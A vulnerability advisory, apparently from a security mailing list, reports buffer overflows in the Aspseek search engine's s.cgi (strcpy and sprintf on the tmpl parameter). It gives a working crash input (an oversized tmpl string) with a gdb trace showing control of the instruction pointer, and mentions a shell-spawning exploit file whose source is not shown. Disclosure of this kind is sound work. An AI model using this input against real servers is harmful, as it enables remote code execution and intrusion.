|---------------------------------------------------------------------------------------|
/ Product: Aspseek Search Engine.
/
\ Vendor URL: www.aspseek.org
\
/ Tested on: v1.0.0 -> v1.0.3 [Freeware] Linux
/
\ Vendor Contact: Mailed on 8th March NO Reply Vendor Patched though \
/
/
|-- The Problem,
|----------------------------------------------------------------------|
The Aspseek Search Engine is like many other C/C++ Compiled search
engines, and uses a MySQL database as its data store.
"Our stable releases are really stable" - aspseek development team
-Overview,
Once compiled and properly setup, you are left to copy s.cgi to the
cgi-bin
of your webserver. This script acts as the input and output for the search engine,
taking user defined data and outputs the search results. Unfortunately there is a
problem in the parsing of user defined data.
-/Overview
-Detail,
There are multiple buffer overflow conditions in s.cgi, the first
being the
most obvious:
1.
sc.cpp:
int search(char *exe, char *arg) {
==>
if ((env = getenv("QUERY_STRING")))
{
strcpy(query_string, env);
....
}
<==
}
Where query_string is defined as: query_string[STRSIZ] = query_string[4 x
1024]
Through experimentation i found that it would take at least 10272 chars to
overflow this buffer, therefore making it useless remotely. Since Apache
by
default will only take a URI of 8190 bytes length.
2.
templates.cpp:
int CCgiQuery::ParseCgiQuery(char* query, char* templ) {
==>
else if ((!STRNCMP(token, "tmpl="))
{
char* tmpl = token + 5;
char tmplu[2000];
sprintf(tmplu, "&tmpl=%s", tmpl);
....
}
<==
}
The above condition is a classic buffer overflow, i found that the buffer
can
be overflowed with 5148 bytes of data. Therefore making this remotely
exploitable.
Example,
[root@linux cgi-bin]# export QUERY_STRING="q=a&tmpl=`perl
-e'printf("a"x5200)'`"
[root@linux cgi-bin]# ./s.cgi
Content-type: text/html
<html><body>Can't open template file 'aaaaa...............'!</body></html>
Segmentation Fault (core dumped)
[root@linux cgi-bin]# gdb s.cgi core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-asplinux-linux"...
Core was generated by `./s.cgi'.
Program terminated with signal 11, Segmentation fault.
#0 0x61616161 in ?? ()
-/Detail
|-- Exploit,
|----------------------------------------------------------------------------|
To demonstrate the problem i have supplied a Local exploit which
simply drops s.cgi to a shell. This condition is exploitable remotely and could be
used to obtain a remote uid=nobody shell.
|-- Solution,
|---------------------------------------------------------------------------|
Vendor provides a patch @ aspseek.org, strange though i got no reply??
|-- Credits,
|---------------------------------------------------------------------------|
Asp Group - producers of Asplinux & Aspseek, for making Asplinux the
wierdest distro i have ever used.
mjm - [EMAIL PROTECTED], the fastest mail replier ever :)
all @alldas.de
_________________________________________________________________
NeilK ([EMAIL PROTECTED][EMAIL PROTECTED])
www.alldas.de
"Regulation of Investigatory Powers Act (RIP)
Communism in the UK since Oct 2000"
http://www.stand.org.uk
aspseek-xploit.c
